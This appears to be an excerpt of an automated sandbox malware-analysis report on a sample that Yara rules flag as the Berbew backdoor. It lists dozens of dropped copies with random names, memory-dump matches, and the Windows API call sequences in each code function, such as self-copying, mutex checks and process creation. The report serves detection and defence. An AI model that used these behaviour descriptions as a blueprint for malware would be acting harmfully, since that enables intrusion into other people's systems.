Source: C:\Windows\SysWOW64\Cnjaioih.exe	Code function: 27_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	27_2_00405133

Remote Access Functionality

Yara detected Berbew

Source: Yara match	File source: 24.2.Cfnpmb32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Opbieagi.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.Ccapffke.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.Cnjaioih.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.Bqjacldl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Oceoll32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.Dmfdkj32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Nejhbi32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.Qgcpihjl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.Bmlhnnne.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.Pqeoao32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.Feidnc32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.Efgkjnfn.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.Oglabl32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Ojacofgb.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.Bqjacldl.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Olijjb32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Plgflqpn.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.Cnjaioih.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.Cfnpmb32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Olijjb32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.Efgkjnfn.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.Bnnampcf.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.Onkcje32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.h879iieoae.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.Dnhmjm32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Ogjdllpi.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.Emogai32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Ojacofgb.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.Oglabl32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Opbieagi.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.Pqeoao32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Bgamkfnl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.Fkogfkdj.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.Camgpi32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.Baagdk32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Ppllkpoo.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.Bnpnbp32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.Ajkolbad.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.Emogai32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Ogjdllpi.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.Fhedeo32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.Dfcboo32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.Plbmqa32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.Dfcboo32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.Eoappk32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.Bnpnbp32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Oceoll32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.Ajkolbad.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.Feidnc32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.Bmlhnnne.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.Camgpi32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.Plbmqa32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.Edgbhcim.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.Fkogfkdj.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.Ccapffke.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Ceampi32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.Odekfoij.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.Bgibkegc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.Onkcje32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.Edgbhcim.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Nejhbi32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.Bgibkegc.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Ceampi32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.Qgcpihjl.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.Foaigifk.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Bgamkfnl.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.Fhedeo32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.Oeanchcn.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.Foaigifk.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.Eoappk32.exe.42aa84.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Ppllkpoo.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.Oeanchcn.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.Bnnampcf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.h879iieoae.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.Dnhmjm32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.Baagdk32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.Odekfoij.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Plgflqpn.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.Dmfdkj32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.1998469389.000000000042A000.00000004.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2006552400.000000000042A000.00000004.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2029721811.000000000042A000.00000004.00000001.01000000.00000028.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2021263243.000000000042A000.00000004.00000001.01000000.00000024.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2005214969.000000000042A000.00000004.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2027822384.000000000042A000.00000004.00000001.01000000.00000026.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2000741077.000000000042A000.00000004.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1986379697.000000000042A000.00000004.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1990903099.000000000042A000.00000004.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2017016443.000000000042A000.00000004.00000001.01000000.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2011076811.000000000042A000.00000004.00000001.01000000.0000001D.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2029071325.000000000042A000.00000004.00000001.01000000.00000027.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2005778309.000000000042A000.00000004.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2016533194.000000000042A000.00000004.00000001.01000000.0000001F.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2007866947.000000000042A000.00000004.00000001.01000000.0000001B.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2004277931.000000000042A000.00000004.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2031051927.000000000042A000.00000004.00000001.01000000.0000002A.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2008521888.000000000042A000.00000004.00000001.01000000.0000001C.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2001790871.000000000042A000.00000004.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2018453034.000000000042A000.00000004.00000001.01000000.00000021.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2019406612.000000000042A000.00000004.00000001.01000000.00000022.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2019682823.000000000042A000.00000004.00000001.01000000.00000023.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2003694218.000000000042A000.00000004.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2022377114.000000000042A000.00000004.00000001.01000000.00000025.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1993494029.000000000042A000.00000004.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2013905191.000000000042A000.00000004.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2002333377.000000000042A000.00000004.00000001.01000000.00000015.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2030625851.000000000042A000.00000004.00000001.01000000.00000029.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1988867655.000000000042A000.00000004.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2000063573.000000000042A000.00000004.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: h879iieoae.exe PID: 6496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Nejhbi32.exe PID: 6544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ogjdllpi.exe PID: 6604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Opbieagi.exe PID: 6648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Oglabl32.exe PID: 6692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Olijjb32.exe PID: 6744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Oeanchcn.exe PID: 6768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Oceoll32.exe PID: 6824, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Onkcje32.exe PID: 6860, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Odekfoij.exe PID: 6928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ojacofgb.exe PID: 6992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ppllkpoo.exe PID: 7064, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Plbmqa32.exe PID: 7092, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Plgflqpn.exe PID: 7084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Pqeoao32.exe PID: 3808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Qgcpihjl.exe PID: 2896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ajkolbad.exe PID: 4956, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bmlhnnne.exe PID: 2056, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bgamkfnl.exe PID: 2924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bqjacldl.exe PID: 2256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bnnampcf.exe PID: 5640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bnpnbp32.exe PID: 6188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bgibkegc.exe PID: 1740, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Baagdk32.exe PID: 916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Cfnpmb32.exe PID: 1188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ccapffke.exe PID: 7104, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ceampi32.exe PID: 6460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Cnjaioih.exe PID: 4284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Camgpi32.exe PID: 7180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Dmfdkj32.exe PID: 7196, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Dnhmjm32.exe PID: 7212, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Dfcboo32.exe PID: 7228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Edgbhcim.exe PID: 7244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Emogai32.exe PID: 7260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Efgkjnfn.exe PID: 7276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Eoappk32.exe PID: 7292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fkogfkdj.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fhedeo32.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Feidnc32.exe PID: 7344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Foaigifk.exe PID: 7368, type: MEMORYSTR

Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 0_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	0_2_00403619
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 0_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	0_2_00406C29
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 0_2_0040129B DsBindWithCredA,CreateFileA,	0_2_0040129B
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 0_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	0_2_0040129C
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 0_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	0_2_00406753
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 1_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	1_2_00403619
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 1_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	1_2_00406C29
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 1_2_0040129B DsBindWithCredA,CreateFileA,	1_2_0040129B
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 1_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	1_2_0040129C
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 1_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	1_2_00406753
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 2_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	2_2_00403619
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 2_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	2_2_00406C29
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 2_2_0040129B DsBindWithCredA,CreateFileA,	2_2_0040129B
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 2_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	2_2_0040129C
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 2_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	2_2_00406753
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 3_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	3_2_00403619
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 3_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	3_2_00406C29
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 3_2_0040129B DsBindWithCredA,CreateFileA,	3_2_0040129B
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 3_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	3_2_0040129C
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 3_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	3_2_00406753
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	4_2_00403619
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	4_2_00406C29
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4_2_0040129B DsBindWithCredA,CreateFileA,	4_2_0040129B
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	4_2_0040129C
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	4_2_00406753
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 5_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	5_2_00403619
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 5_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	5_2_00406C29
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 5_2_0040129B DsBindWithCredA,CreateFileA,	5_2_0040129B
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 5_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	5_2_0040129C
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 5_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	5_2_00406753
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 6_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	6_2_00403619
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 6_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	6_2_00406C29
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 6_2_0040129B DsBindWithCredA,CreateFileA,	6_2_0040129B
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 6_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	6_2_0040129C
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 6_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	6_2_00406753
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 7_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	7_2_00403619
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 7_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	7_2_00406C29
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 7_2_0040129B DsBindWithCredA,CreateFileA,	7_2_0040129B
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 7_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	7_2_0040129C
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 7_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	7_2_00406753
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 8_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	8_2_00403619
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 8_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	8_2_00406C29
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 8_2_0040129B DsBindWithCredA,CreateFileA,	8_2_0040129B
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 8_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	8_2_0040129C
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 8_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	8_2_00406753
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 9_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	9_2_00403619
